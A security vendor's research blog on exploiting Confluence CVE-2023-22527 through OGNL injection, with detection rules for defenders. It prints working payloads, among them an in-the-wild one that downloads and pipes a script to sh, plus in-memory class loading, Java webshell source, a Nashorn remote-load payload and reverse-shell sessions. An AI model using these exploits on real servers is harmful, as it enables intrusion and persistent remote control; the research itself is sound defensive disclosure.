Go back

Does Confluence Dream of Shells?

avatar
Jacob Baines@Junior_Baines

Key Takeaways

VulnCheck published three proof of concept exploits that can execute arbitrary code within Confluence without touching the filesystem.
There are pre-existing public exploits that use similar techniques to load the infamous Godzilla webshell, and they appear to have been used in the wild.
VulnCheck shares detections and indicators of compromise to aid defenders.

Introduction

Since its disclosure on January 16, CVE-2023-22527 has been a hotbed of malicious activity. The vulnerability was quickly added to VulnCheck KEV on January 21, CISA KEV on January 24, and reports of exploitation have continued through February (see Rapid7 and Imperva. Not to be outdone, the exploit development community has been busy as well. VulnCheck currently tracks 30 unique exploits for the vulnerability.

Many of the exploits we track are largely the same (a phenomenon we’ve touched on before). Consider the following exploit payloads for CVE-2023-22527:

Nuclei:

label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet( \u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027 &poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader( \u0027x_vuln_check\u0027,(new+freemarker.template.utility.Execute()).exec({"whoami"}))

Metasploit (Windows Variant - immediately blocked by Defender):

label=\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet( \u0027ognl\u0027).findValue(#parameters.YDwnBTJF,{})+\u0027&YDwnBTJF=(new freemarker.template.utility.Execute()).exec({ @org.apache.struts2.ServletActionContext@getRequest().getParameter('PeMYYOlk')})& PeMYYOlk=cmd.exe /c "powershell.exe -nop -w hidden -noni -c “...

A payload from the wild as reported by Johannes Ullrich SANS Blog:

label=\\u0027%2b#request\\u005b\\u0027.KEY_velocity.struts2.context\\u0027\\u005d.internalGet( \\u0027ognl\\u0027).findValue(#parameters.x,{})%2b\\u0027&x=(new freemarker.template.utility.Execute()).exec({ "echo -n Y3VybCAtcyBodHRwOi8vMTk1LjIxMS4xMjQuMTg0L2FhIHx8IHdnZXQgLXEgLU8tIGh0dHA6Ly8xOTUuMjExLjEyNC4xODQvYWE= | base64 -d | sh"})

A GitHub example:

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet( \u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027& x=@org.apache.struts2.ServletActionContext@getResponse().setHeader( 'X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({'"+ cmd +"'}))

What all these exploits have in common is that they use freemarker.template.utility.Execute to execute an operating system command. Which, you’ll know if you ever try to throw the Metasploit Windows payload, is a great way to get caught and subsequently blocked by endpoint detection.

Dear attacker, all is not lost. Loading into and executing code from Confluence’s memory works like a dream. Due to the magic of OGNL and Java reflection, there is no limit to what you can do.

Dreaming of Shells

Originally, we approached this “execute out of memory” problem using Nashorn. While that worked (and we’ll discuss it later in the blog), there is a significantly better approach.

During VulnCheck’s standard GitHub exploit review for XDB, we stumbled upon this repository that exploits CVE-2023-22527 to load the Godzilla webshell into memory. It contains at least three novel techniques that we weren’t aware of:

  1. It alters the max length of an OGNL expression to overcome space issues in CVE-2023-22527 exploitation. By default, Confluence appears to restrict expressions to 200 characters. Both Project Discovery and Rapid7 shared different work-arounds for this limitation, but this new method completely removes the restriction.
  2. The exploit uses org.springframework.cglib.core.ReflectUtils.defineClass() to load a class into memory from a byte string.
  3. The loaded class is a ServletRequestListener and registers to receive ServletRequestEvents. Meaning the uploaded class can intercept all HTTP requests to Confluence.

These three clever ideas combine to create a very powerful in-memory webshell. In the following sections, we’ll examine each step closer and then look at detection artifacts.

Loading a Class Into Memory

To demonstrate using CVE-2023-22527 to load a class into memory, we’ve published a proof of concept on GitHub. If you look at the PoC, you’ll notice there are no .java or .class files. The class the exploit loads is a reverse shell generated by the go-exploit framework. This is done simply by invoking the following java.ReverseShellBytecode:

func sendShell(conf *config.Config) bool {
   // generate the class that Confluence will execute in memory
   reverseShell, className := java.ReverseShellBytecode(conf)

The reverse shell automatically works on Windows or Linux (see source), which is useful because Confluence can be deployed on either operating system.

The problem with the generated class is that it’s much too large for the 200-character OGNL expression limit. The simplest solution is to disable this limit. Using the static function ognl.Ognl.applyExpressionMaxLength, the caller can lift the size restriction high enough to accommodate loading the reverse shell class. The following CVE-2023-22527 exploit lifts the expression limit to 100,000 characters.

label=\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet( \u0027ognl\u0027).findValue(#parameters.Fvp,{})+\u0027&Fvp=@ognl.Ognl@applyExpressionMaxLength(100000)

Having done that, the attacker is free to load the class. This can be done using Spring’s static org.springframework.cglib.core.ReflectUtils.defineClass(String className, byte[] b, ClassLoader loader), where className is a random string, b is the reverse shell, and loader is the current thread’s class loader via currentThread().getContextClassLoader().

As a CVE-2023-22527 exploit, that looks like the following (note, in the following, the class is sent over the wire Base64 encoded and Base64Utils.decodeFromString is invoked to decode it before passing it to defineClass):

VjI=(@org.springframework.cglib.core.ReflectUtils@defineClass( 'DpLlaMWFG',@org.springframework.util.Base64Utils@decodeFromString('classBytes…'), @java.lang.Thread@currentThread().getContextClassLoader())).newInstance()& label=\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet( \u0027ognl\u0027).findValue(#parameters.VjI,{})+\u0027

The transition from the OGNL expression to executing the loaded class is the invocation of newInstance. That will cause the class’s constructor to be executed.

Our GitHub proof of concept puts that all together and establishes a reverse shell in memory.

albinolobster@mournland:~/cve-2023-22527/reverseshell$ sudo docker run -it --network=host cve-2023-22527 -a -v -e -rhost 10.9.49.97 -rport 8090 -lhost 10.9.49.82 -lport 1270 -ell SUCCESS -fll SUCCESS
time=2024-03-01T18:22:37.114Z level=SUCCESS msg="Target verification succeeded!" host=10.9.49.97 port=8090 verified=true
time=2024-03-01T18:22:37.412Z level=SUCCESS msg="Caught new shell from 10.9.49.97:50109"
C:\Program Files\Atlassian\Confluence>whoami
nt authority\network service

C:\Program Files\Atlassian\Confluence>

Above, the reader can see we establish a cmd.exe shell and execute whoami just like all the other APT. Viewed from procmon, we can see the Confluence Tomcat server spin out cmd.exe subprocesses.

Tomcat spinning out cmd.exe in procom

Java or Tomcat spinning out shells is a well-known issue for Confluence, and our friends at SigmaHQ already have a Sigma rule that detects this behavior for CVE-2023-22518 (see: SigmaHQ GitHub).

But that isn’t the only thing that makes class loading a tight reverse shell a bad idea for an attacker. Our implementation holds open the HTTP connection, which triggers the following stack in Confluence’s stderr log file.

01-Mar-2024 13:36:56.128 WARNING [Catalina-utility-1] org.apache.catalina.valves.StuckThreadDetectionValve.notifyStuckThreadDetected Thread [http-nio-8090-exec-4 url: /template/aui/text-inline.vm] (id=[272]) has been active for [67,521] milliseconds (since [3/1/24, 1:35 PM]) to serve the same request for [http://10.9.49.97:8090/template/aui/text-inline.vm] and may be stuck (configured threshold for this StuckThreadDetectionValve is [60] seconds). There is/are [2] thread(s) in total that are monitored by this Valve and may be stuck.
    java.lang.Throwable
     at java.base@17.0.8.1/sun.nio.ch.SocketDispatcher.read0(Native Method)
     at java.base@17.0.8.1/sun.nio.ch.SocketDispatcher.read(Unknown Source)
     at java.base@17.0.8.1/sun.nio.ch.NioSocketImpl.tryRead(Unknown Source)
     at java.base@17.0.8.1/sun.nio.ch.NioSocketImpl.implRead(Unknown Source)
     at java.base@17.0.8.1/sun.nio.ch.NioSocketImpl.read(Unknown Source)
     at java.base@17.0.8.1/sun.nio.ch.NioSocketImpl$1.read(Unknown Source)
     at java.base@17.0.8.1/java.net.Socket$SocketInputStream.read(Unknown Source)
     at java.base@17.0.8.1/sun.nio.cs.StreamDecoder.readBytes(Unknown Source)
     at java.base@17.0.8.1/sun.nio.cs.StreamDecoder.implRead(Unknown Source)
     at java.base@17.0.8.1/sun.nio.cs.StreamDecoder.read(Unknown Source)
     at java.base@17.0.8.1/java.io.InputStreamReader.read(Unknown Source)
     at java.base@17.0.8.1/java.io.BufferedReader.fill(Unknown Source)
     at java.base@17.0.8.1/java.io.BufferedReader.readLine(Unknown Source)
     at java.base@17.0.8.1/java.io.BufferedReader.readLine(Unknown Source)
     at QfOToRTqlN.<init>(ABCDEFG.java:31)
     at java.base@17.0.8.1/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
     at java.base@17.0.8.1/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(Unknown Source)
     at java.base@17.0.8.1/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(Unknown Source)
     at java.base@17.0.8.1/java.lang.reflect.Constructor.newInstanceWithCaller(Unknown Source)
     at java.base@17.0.8.1/java.lang.reflect.ReflectAccess.newInstance(Unknown Source)
     at java.base@17.0.8.1/jdk.internal.reflect.ReflectionFactory.newInstance(Unknown Source)
     at java.base@17.0.8.1/java.lang.Class.newInstance(Unknown Source)
     at java.base@17.0.8.1/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
     at java.base@17.0.8.1/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
     at java.base@17.0.8.1/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
     at java.base@17.0.8.1/java.lang.reflect.Method.invoke(Unknown Source)
     at ognl.OgnlRuntime.invokeMethodInsideSandbox(OgnlRuntime.java:1266)
     at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:1251)
     at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1969)
     at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68)
     at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:98)
     at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:90)
     at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:2045)
     at ognl.ASTMethod.getValueBody(ASTMethod.java:97)
     at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
     at ognl.SimpleNode.getValue(SimpleNode.java:258)
     at ognl.ASTChain.getValueBody(ASTChain.java:141)
     at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
     at ognl.SimpleNode.getValue(SimpleNode.java:258)
     at ognl.Ognl.getValue(Ognl.java:537)
     at ognl.Ognl.getValue(Ognl.java:687)
     at ognl.Ognl.getValue(Ognl.java:662)
     at org.apache.struts2.views.jsp.ui.OgnlTool.findValue(OgnlTool.java:48)

This stacktrace gives perfect visibility into the exploitation path. The bottom of the stack reads OgnlTool.findValue, runs up through java.lang.Class.newInstance, and tops off with the socket read. A very simple YARA rule to detect this in Confluence stderr file follows:

rule Conflunece_CVE_2023_22527_Exploit
{
    meta:
      description = "Atlassian Confluence CVE-2023-22527 Exploit Attempt (In Memory Reverse Shell)"
      path_pattern = "C:\\Program Files\\Atlassian\\Confluence\\logs\\confluence[0-9]+-stderr.yyyy-mm-dd.log"

    strings:
      $stuck = /StuckThreadDetectionValve.notifyStuckThreadDetected Thread \[http-nio-\d+-exec-\d+ url: \/template\/aui\/text-inline.vm/
      $find = "org.apache.struts2.views.jsp.ui.OgnlTool.findValue"
      $callMethod = "com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod"
      $invokeMethod = "ognl.OgnlRuntime.invokeMethod"
    condition:
      all of them
}

So, while the reverse shell is a viable option, it’ll get caught by known Sigma rules and leave (as implemented) very obvious log traces. But we can load anything we want! Let’s move on to something more stealthy: an in-memory webshell.

Loading a Webshell

Loading the webshell builds on the previous example. Exploitation is almost the same (using ReflectUtils.DefineClass to load a pre-defined byte string), but the Java payload is significantly different. To demonstrate this, we shared a second proof of concept that you can find here.

The biggest difference is the inclusion of ABCDEFG.java which is a class that implements ServletRequestListener. This is compiled into a class using javac and then embedded into the go-exploit (the ridiculous name ABCDEFG is overwritten with a random name generated by the exploit):

Being a ServletRequestListener allows the class to handle inbound HTTP requests via the requestInitialized method. But it isn’t enough to implement ServletRequestListener: the class needs to register as an event listener. This is done in the class’s constructor:

public ABCDEFG(ServletContext context) {
    try {
        addListener(this, getFieldValue(getFieldValue(context,"context"), "context"));
    } catch (Throwable e) {
    }
}

private void addListener(Object listener, Object standardContext) throws Exception {
    Method addApplicationEventListenerMethod = standardContext.getClass().getDeclaredMethod("addApplicationEventListener", Object.class);
    addApplicationEventListenerMethod.setAccessible(true);
    addApplicationEventListenerMethod.invoke(standardContext, listener);
}

The constructor expects the caller to provide a javax.servlet.ServletContext, from which it extracts the underlying Tomcat StandardContext and invokes addApplicationEventListener to register for events.

The ServletContext is sourced from the exploit’s OGNL expression. See the full payload below (with class bytes removed):

weZ=(@org.springframework.cglib.core.ReflectUtils@defineClass('AgzJWbvprnpCqo', @org.springframework.util.Base64Utils@decodeFromString('classbytes…'), @java.lang.Thread@currentThread().getContextClassLoader())).getDeclaredConstructors[0].newInstance( @org.apache.struts2.ServletActionContext@getRequest().getServletContext())& label=\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet( \u0027ognl\u0027).findValue(#parameters.weZ,{})+\u0027

Instead of using newInstance like we did in the previous exploit, we’ve switched to getDeclaredConstructors[0].newInstance to pass the ServletContext parameter. That parameter is generated by extracting the context from getRequest. In the payload above, that looks like the following: @org.apache.struts2.ServletActionContext@getRequest().getServletContext().

The result is the class can then intercept any HTTP request to Confluence. ABCDEFG.class implements a very simple webshell that looks for a specific request parameter to intercept and execute (the exploit overwrites the parameter with a random value before implanting the webshell):

@Override
public void requestInitialized(ServletRequestEvent sret) {
    try {
        ServletRequest request = sret.getServletRequest();
        String cmd = request.getParameter("AAAAAAAAAAAA");
        if (cmd != null) {
            ServletResponse response = (ServletResponse)getFieldValue(getFieldValue(request, "request"), "response");
            PrintWriter printWriter = response.getWriter();
            Process p = Runtime.getRuntime().exec(cmd);
            OutputStream os = p.getOutputStream();
            InputStream in = p.getInputStream();
            DataInputStream dis = new DataInputStream(in);
            String disr = dis.readLine();
            while (disr != null) {
                printWriter.write(disr);
                disr = dis.readLine();
            }
            printWriter.flush();
            printWriter.close();
        }
    }
    catch (Exception e) {
    }
}

This is a pretty standard webshell, hardly different from the in-memory webshell described by the JSP Webshell Cookbook. But, by virtue of only being in memory, it provides a strong foothold into the victim network. Consider the following example using our exploit to insert the webshell.

albinolobster@mournland:~/cve-2023-22527/webshell$ ./build/cve-2023-22527_linux-arm64 -v -a -c -e -rhost 10.9.49.80 -ell
SUCCESS -fll SUCCESS
time=2024-03-04T10:37:44.404-05:00 level=SUCCESS msg="Target verification succeeded!" host=10.9.49.80 port=8090 verified=true
time=2024-03-04T10:37:44.582-05:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.80 port=8090 vulnerable=yes
time=2024-03-04T10:37:44.892-05:00 level=SUCCESS msg="In memory webshell available using KUifNtvadjt param"
time=2024-03-04T10:37:44.892-05:00 level=SUCCESS msg="Example usage: curl -kv http://10.9.49.80:8090/?KUifNtvadjt=whoami"

As the exploit says, the webshell is now available at http://10.9.49.80:8090/?KUifNtvadjt=whoami. We can execute whoami using the following curl command (note the response).

albinolobster@mournland:~/cve-2023-22527/webshell$ curl http://10.9.49.80:8090/?KUifNtvadjt=whoami
nt authority\network service

The webshell, still not stealthy in executing attacker-provided commands, uses Runtime.getRuntime().exec(cmd). That is enough to avoid cmd.exe, though (and therefore the previous Sigma rule).

Tomcat spinning out whoami.exe in procom

Remember, though, this is just a proof of concept. A real weaponized payload (e.g. Godzilla) won’t be using Runtime.getRuntime().exec(cmd): they’ll do everything possible to implement their entire attack flow in Java. This is pretty tough for defenders because this doesn’t leave any good Confluence logs. Perhaps the best you can do is analyze the access log for weird patterns. Our webshell leaves a pretty obvious access log signature (random param followed by command):

04/Mar/2024:10:38:32 -0500 - http-nio-8090-exec-1 10.9.49.81 GET /?KuifNtvadjt=whoami HTTP/1.1 500 73ms 39 - curl/7.68.0

Staying in Memory Using Nashorn

Earlier, the blog mentioned that we approached this problem with Nashorn initially. (Un)fortunately, Confluence bundles Java 17 since 8.2.3. Nashorn was removed in Java 15, so exploitation using the JavaScript engine is becoming irrelevant for Confluence. However, there will forever be Java 8 installs, so exploitation with Nashorn in general will never be dead—so this tidbit might be of use to someone eventually.

Although this blog touches on using applyExpressionMaxLength to bypass the OGNL limit, we weren’t aware of this technique originally. The go-exploit Nashorn payload is quite large, so we needed a workaround. Fortunately, Nashorn supports the load keyword. load can be used to fetch a remote file that can then be executed via eval. The CVE-2023-25527 exploit looks like this:

label==\u0027%2b#request\u005b\u0027.K%45Y_velocity.struts2.context\u0027 \u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,%7B%7D)%2b\u0027&x=( new javax.script.ScriptEngineManager().getEngineByName('js').eval('load("http://10.9.49.81:8080/UOymEWIpfhgs")'))

You can find the proof of concept on GitHub. The exploit spins up its own HTTP server to serve the Nashorn payload. Example usage:

albinolobster@mournland:~/cve-2023-22527/nashorn$ sudo docker run -it --network=host nashorn -v -a -c -e -rhost 10.9.49.8
8 -lhost 10.9.49.81 -lport 1270 -httpAddr 10.9.49.81 -ell SUCCESS -fll SUCCESS
time=2024-03-04T16:10:38.002Z level=SUCCESS msg="Target verification succeeded!" host=10.9.49.88 port=8090 verified=true
time=2024-03-04T16:10:38.146Z level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.88 port=8090 vulnerable=yes
time=2024-03-04T16:10:40.503Z level=SUCCESS msg="Caught new shell from 10.9.49.88:41826"
id
uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)

Detection on the Wire

Perhaps the best place to catch exploitation of CVE-2023-22527 is on the wire. VulnCheck’s Initial Access team likes to obfuscate payloads to make life more challenging for detection engineers. For example, the reverse shell payload is entirely URL encoded here:

Lightly obfuscated exploit bypasses detections

This isn’t that strong of an obfuscation, though. The two elements of exploitation are still there. There is an unobfuscated label parameter (not pictured but also not encoded because it’s a parameter) and u0027 in some representations (URL encoded here). As such, the following rules should catch all CVE-2023-22527 exploitation attempts:

alert http any any -> any any ( \
  msg:"VULNCHECK Confluence CVE-2023-22527 Exploit Attempt (POST Body)"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.uri; content:"/template/aui/text-inline.vm"; startswith; \
  http.request_body; content:"label="; \
  pcre:"/label=[^&]*(\\|%5c)(u|%75)|(0|%30)(0|%30)(2|%32)(7|%37)/i"; \
  reference:cve,CVE-2023-22527; \
  classtype:web-application-attack; \
  sid:12700246; rev:2;)

alert http any any -> any any ( \
  msg:"VULNCHECK Confluence CVE-2023-22527 Exploit Attempt (POST URI)"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.uri; content:"/template/aui/text-inline.vm"; startswith; \
  content:"label="; distance: 0; \
  pcre:"/label=[^&]*(\\|%5c)(u|%75)|(0|%30)(0|%30)(2|%32)(7|%37)/i"; \
  reference:cve,CVE-2023-22527; \
  classtype:web-application-attack; \
  sid:12700258; rev:1;)

alert http any any -> any any ( \
  msg:"VULNCHECK Confluence CVE-2023-22527 Exploit Attempt (GET)"; \
  flow:established,to_server; \
  http.method; content:"GET"; \
  http.uri; content:"/template/aui/text-inline.vm"; startswith; \
  content:"label="; distance: 0; \
  pcre:"/label=[^&]*(\\|%5c)(u|%75)|(0|%30)(0|%30)(2|%32)(7|%37)/i"; \
  reference:cve,CVE-2023-22527; \
  classtype:web-application-attack; \
  sid:12700259; rev:1;)

Perhaps surprising is that we have three rules for this vulnerability. It turns out, though, that the exploit can be thrown using HTTP GET:

albinolobster@mournland:~$ curl -kvs -G -o /dev/null http://10.9.49.76:8090/template/aui/text-inline.vm \
> --data-urlencode 'label=\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.p1,{})+\u0027' \
> --data-urlencode 'p1=@org.apache.struts2.ServletActionContext@getResponse().setHeader("Cmd-Ret",(new freemarker.template.utility.Execute()).exec({"whoami"}))'
*   Trying 10.9.49.76:8090...
* TCP_NODELAY set
* Connected to 10.9.49.76 (10.9.49.76) port 8090 (#0)
> GET /template/aui/text-inline.vm?label=%5Cu0027%2B%23request.get%28%5Cu0027.KEY_velocity.struts2.context%5Cu0027%29.internalGet%28%5Cu0027ognl%5Cu0027%29.findValue%28%23parameters.p1%2C%7B%7D%29%2B%5Cu0027&p1=%40org.apache.struts2.ServletActionContext%40getResponse%28%29.setHeader%28%22Cmd-Ret%22%2C%28new%20freemarker.template.utility.Execute%28%29%29.exec%28%7B%22whoami%22%7D%29%29 HTTP/1.1
> Host: 10.9.49.76:8090
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Cache-Control: no-store
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Content-Security-Policy: frame-ancestors 'self'
< X-Confluence-Request-Time: 1709669510258
< Set-Cookie: JSESSIONID=4CABC119C5C70CC2C745D4107663F45C; Path=/; HttpOnly
< Cmd-Ret: nt authority\network service  
< X-Accel-Buffering: no
< Content-Type: text/html;charset=UTF-8
< Content-Language: en-US
< Transfer-Encoding: chunked
< Date: Tue, 05 Mar 2024 20:11:50 GMT
<
{ [7656 bytes data]
* Connection #0 to host 10.9.49.76 left intact

And it can be thrown with the parameters in the POST URI:

albinolobster@mournland:~$ curl -kvs -X POST -G -o /dev/null http://10.9.49.76:8090/template/aui/text-inline.vm \
> --data-urlencode 'label=\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.p1,{})+\u0027' \
> --data-urlencode 'p1=@org.apache.struts2.ServletActionContext@getResponse().setHeader("Cmd-Ret",(new freemarker.template.utility.Execute()).exec({"whoami"}))'
*   Trying 10.9.49.76:8090...
* TCP_NODELAY set
* Connected to 10.9.49.76 (10.9.49.76) port 8090 (#0)
> POST /template/aui/text-inline.vm?label=%5Cu0027%2B%23request.get%28%5Cu0027.KEY_velocity.struts2.context%5Cu0027%29.internalGet%28%5Cu0027ognl%5Cu0027%29.findValue%28%23parameters.p1%2C%7B%7D%29%2B%5Cu0027&p1=%40org.apache.struts2.ServletActionContext%40getResponse%28%29.setHeader%28%22Cmd-Ret%22%2C%28new%20freemarker.template.utility.Execute%28%29%29.exec%28%7B%22whoami%22%7D%29%29 HTTP/1.1
> Host: 10.9.49.76:8090
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Cache-Control: no-store
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Content-Security-Policy: frame-ancestors 'self'
< X-Confluence-Request-Time: 1709669588783
< Set-Cookie: JSESSIONID=B96DB876DCA328DEDC0073326B666805; Path=/; HttpOnly
< Cmd-Ret: nt authority\network service  
< X-Accel-Buffering: no
< Content-Type: text/html;charset=UTF-8
< Content-Language: en-US
< Transfer-Encoding: chunked
< Date: Tue, 05 Mar 2024 20:13:09 GMT
<
{ [7656 bytes data]
* Connection #0 to host 10.9.49.76 left intact

All of which has to be accounted for in the ruleset.

Conclusion

There's more than one way to reach Rome. While using freemarker.template.utility.Execute appears to be the popular way of exploiting CVE-2023-22527, other more stealthy paths generate different indicators. Of particular interest is the in-memory webshell, which had a pre-existing variant before we published this blog, and that variant appears to have been deployed in the wild. Defenders and attackers alike should consider these variants (and how they apply to other OGNL attacks).

About VulnCheck

The VulnCheck Initial Access team is always looking to advance the state of attack on initial access vulnerabilities like CVE-2023-22527. For more research like this, see our blogs, PaperCut Exploitation and Fileless Remote Code Execution on Juniper Firewalls

Sign up to our website today to get free access to our VulnCheck KEV and request a trial of ourour Initial Access Intelligence and Exploit & Vulnerability Intelligence products.